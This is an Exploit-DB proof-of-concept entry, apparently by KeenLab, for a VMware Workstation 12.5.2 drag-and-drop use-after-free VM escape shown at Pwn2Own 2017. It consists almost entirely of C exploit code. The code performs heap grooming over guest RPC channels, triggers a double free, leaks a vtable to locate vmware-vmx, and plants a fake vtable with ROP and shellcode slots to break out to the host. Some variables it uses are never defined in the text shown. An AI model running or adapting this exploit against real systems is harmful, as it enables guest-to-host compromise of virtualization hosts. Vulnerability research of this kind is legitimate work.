VMware Workstation 12.5.2 – Drag n Drop Use-After-Free (Pwn2Own 2017) (PoC)

  • 作者: keenlab
    日期: 2018-04-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44533/
  • char *initial_dnd = "tools.capability.dnd_version 4";
    static const int cbObj = 0x100;
    char *second_dnd = "tools.capability.dnd_version 2";
    char *chgver = "vmx.capability.dnd_version";
    char *call_transport = "dnd.transport ";
    char *readstring = "ToolsAutoInstallGetParams";
    typedef struct _DnDCPMsgHdrV4
    {
    char magic[14];
    char dummy[2];
    size_t ropper[13];
    char shellcode[175];
    char padding[0x80];
    } DnDCPMsgHdrV4;
    
    
    void PrepareLFH()
    {
    char *result = NULL;
    char *pObj = malloc(cbObj);
    memset(pObj, 'A', cbObj);
    pObj[cbObj - 1] = 0;
    for (int idx = 0; idx < 1; ++idx) // just occupy 1
    {
    char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj);
    RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4
    }
    free(pObj);
    }
    
    size_t infoleak()
    {
    #define MAX_LFH_BLOCK 512
    Message_Channel *chans[5] = {0};
    for (int i = 0; i < 5; ++i)
    {
    chans[i] = Message_Open(0x49435052);
    if (chans[i])
    {
    Message_SendSize(chans[i], cbObj - 1); //just alloc
    }
    else
    {
    Message_Close(chans[i - 1]); //keep 1 channel valid
    chans[i - 1] = 0;
    break;
    }
    }
    PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block
    for (int i = 0; i < 5; ++i)
    {
    if (chans[i])
    {
    Message_Close(chans[i]);
    }
    }
    
    char *result = NULL;
    char *pObj = malloc(cbObj);
    memset(pObj, 'A', cbObj);
    pObj[cbObj - 1] = 0;
    char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj);
    while (1)
    {
    for (int i = 0; i < MAX_LFH_BLOCK; ++i)
    {
    RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    }
    
    for (int i = 0; i < MAX_LFH_BLOCK; ++i)
    {
    Message_Channel *chan = Message_Open(0x49435052);
    if (chan == NULL)
    {
    puts("Message send error!");
    Sleep(100);
    }
    else
    {
    Message_SendSize(chan, cbObj - 1);
    Message_RawSend(chan, "\xA0\x75", 2); //just ret
    Message_Close(chan);
    }
    }
    Message_Channel *chan = Message_Open(0x49435052);
    Message_SendSize(chan, cbObj - 1);
    Message_RawSend(chan, "\xA0\x74", 2); //free
    RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free
    for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i)
    {
    RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL);
    Message_RawSend(chan, "B", 1);
    RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
    if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj))
    {
     Message_Close(chan); //free the string
    for (int i = 0; i < MAX_LFH_BLOCK; ++i)
    {
    puts("Trying to leak vtable");
    RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
    size_t p = 0;
    if (result)
    {
    memcpy(&p, result, min(strlen(result), 8));
    printf("Leak content: %p\n", p);
    }
    size_t low = p & 0xFFFF;
    if (low == 0x74A8 || //RpcBase
    low == 0x74d0 || //CpV4
    low == 0x7630) //DnDV4
    {
    printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000);
    return (p & (~0xFFFF)) - 0x7a0000;
    }
    RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    }
    }
    }
    Message_Close(chan);
    }
    return 0;
    }
    
    void exploit(size_t base)
    {
    char *result = NULL;
    char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141);
    char *pObj = malloc(cbObj);
    memset(pObj, 0, cbObj);
    
    DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4));
    memset(hdr, 0, sizeof(DnDCPMsgHdrV4));
    memcpy(hdr->magic, call_transport, strlen(call_transport));
    while (1)
    {
    RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL);
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    for (int i = 0; i < MAX_LFH_BLOCK; ++i)
    {
    Message_Channel *chan = Message_Open(0x49435052);
    Message_SendSize(chan, cbObj - 1);
    size_t fake_vtable[] = {
    base + 0xB87340,
    base + 0xB87340,
    base + 0xB87340,
    base + 0xB87340};
    
    memcpy(pObj, &fake_vtable, sizeof(size_t) * 4);
    
    Message_RawSend(chan, pObj, sizeof(size_t) * 4);
    Message_Close(chan);
    }
    RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL);
    RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL);
    //check pwn success?
    RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
    if (*(size_t *)result == 0xdeadbeefc0debabe)
    {
    puts("VMware escape success! \nPwned by KeenLab, Tencent");
    RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);//fix dnd to callable prevent vmtoolsd problem
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    return;
    }
    //host dndv4 fill in, try to clean up and free again
    Sleep(100);
    puts("Object wrong! Retry...");
    RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);
    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    }
    }
    
    int main(int argc, char *argv[])
    {
    int ret = 1;
    __try
    {
    while (1)
    {
    size_t base = 0;
    do
    {
    puts("Leaking...");
    base = infoleak();
    } while (!base);
    puts("Pwning...");
    exploit(base);
    break;
    }
    }
    __except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
    fprintf(stderr, NOT_VMWARE_ERROR);
    return 1;
    }
    return ret;
    }